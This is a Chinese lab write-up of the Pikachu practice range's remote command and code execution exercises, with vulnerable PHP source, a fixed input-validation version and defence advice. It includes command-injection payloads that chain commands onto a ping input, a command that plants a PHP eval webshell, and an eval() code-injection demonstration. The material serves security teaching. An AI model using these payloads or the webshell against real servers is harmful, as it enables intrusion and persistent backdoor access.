当前位置: 首页 > news >正文

Pikachu靶场——远程命令执行漏洞(RCE)

文章目录

  • 1. RCE
    • 1.1 exec "ping"
      • 1.1.1 源代码分析
      • 1.1.2 漏洞防御
    • 1.2 exec "eval"
      • 1.2.1 源代码分析
      • 1.2.2 漏洞防御
    • 1.3 RCE 漏洞防御

1. RCE

RCE(remote command/code execute)概述:

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

1.1 exec “ping”

输入IP地址查看页面反应

image-20230827164014274

在ip地址的后门拼接说我们自己想执行的命令

127.0.0.1 & ipconfig

image-20230827164242856

查看win.ini文件内容

127.0.0.1 && type C:\Windows\win.ini

image-20230923151509344

同样的可以拼接各种命令如:systeminfo,net user等等。

还可以写入一句话木马进行连接

127.0.0.1 | echo "<?php @eval($_REQUEST[777])?>" > ../../../wuhu.php

image-20230915203459052

然后使用中国蚁剑进行连接即可

image-20230915203647019

1.1.1 源代码分析

代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。

image-20230923151749909

1.1.2 漏洞防御

# 漏洞防御代码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];$check=explode('.', $ip);//可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255if(count($check) === 4 &&($check[0] >= 1 && $check[0] <= 255) &&($check[1] >= 0 && $check[1] <= 255) &&($check[2] >= 0 && $check[2] <= 255) &&ctype_digit($check[3]) && $check[3] >= 1 && $check[3] <= 255){if(stristr(php_uname('s'), 'windows')){$result.=shell_exec('ping '.$ip);}else {$result.=shell_exec('ping -c 4 '.$ip);}}else {// IP地址不合法die("Invalid IP address!");}
}

代码解析:

  • ctype_digit()函数来验证第四位是否是整数。
  • count()函数来检查拆分后的数组元素数量是否为4。

image-20230923154448657

构造攻击代码

127.0.0.1 & ipconfig

页面显示Invalid IP address!,防御成功!

image-20230923153550313

1.2 exec “eval”

后端代码审计——PHP函数及PHP危险函数。

eval():会将符合PHP 语法规范字符串当作php代码执行。

代码示例:

<?php// $code = "phpinfo();";// echo $code;// var_dump($code);$code = $_REQUEST['code'];eval($code);?>

一句话木马原型。

在输入框输入如下内容:

phpinfo();

image-20230827164701542

1.2.1 源代码分析

查看源码发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。

在这里插入图片描述

1.2.2 漏洞防御

在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。

1.3 RCE 漏洞防御

  • 使用白名单:定义一个接受合法命令或代码输入的白名单,只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作,并且可以有效地防止黑客攻击。
  • 安全编码实践:编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数,而是使用更安全的函数来处理用户输入。
  • 输入验证:当处理用户输入时,必须进行必要的验证,包括数据类型、格式和长度等。在校验用户输入之后,再将其传递给执行命令或代码的函数。
  • 限制shell运行环境:在PHP的服务器端配置文件中,可以通过限制可执行文件的路径和基本环境变量来减小攻击面。
http://www.lryc.cn/news/183641.html

相关文章:

  • 【WSN】无线传感器网络 X-Y 坐标到图形视图和位字符串前缀嵌入方法研究(Matlab代码实现)
  • Linux定时任务
  • 【Overload游戏引擎分析】画场景网格的Shader
  • 【JavaEE】多线程进阶(一)饿汉模式和懒汉模式
  • C++树详解
  • 支付环境安全漏洞介绍
  • 抄写Linux源码(Day16:内存管理)
  • Cookie和Session详解以及结合生成登录效果
  • Spring基础以及核心概念(IoC和DIQ)
  • 《C和指针》笔记32:多维数组初始化
  • 零食食品经营小程序商城的作用是什么
  • Java泛型--什么是泛型?
  • LabVIEW工业虚拟仪器的标准化实施
  • JavaScript系列从入门到精通系列第十七篇:JavaScript中的全局作用域
  • 汇编指令集合
  • TinyWebServer整体流程
  • 【Java项目推荐之黑马头条】自媒体文章实现异步上下架(使用Kafka中间件实现)
  • 自学(黑客)技术方法————网络安全
  • python+playwright 学习-84 Response 接口返回对象
  • GCN详解
  • 总结二:linux面经
  • 12、【Qlib】【主要组件】Qlib Recorder:实验管理
  • 三一充填泵:煤矿矸石无害化充填,煤炭绿色高效开采的破局利器
  • 医疗器械标准目录汇编2022版共178页(文中附下载链接!)
  • C#和Excel文件的读写交互
  • Pytorch目标分类深度学习自定义数据集训练
  • 2023 年 Web 安全最详细学习路线指南,从入门到入职(含书籍、工具包)【建议收藏】
  • qt常用控件1
  • 想提高网站访问速度?CDN加速了解下
  • 验证回文串[简单]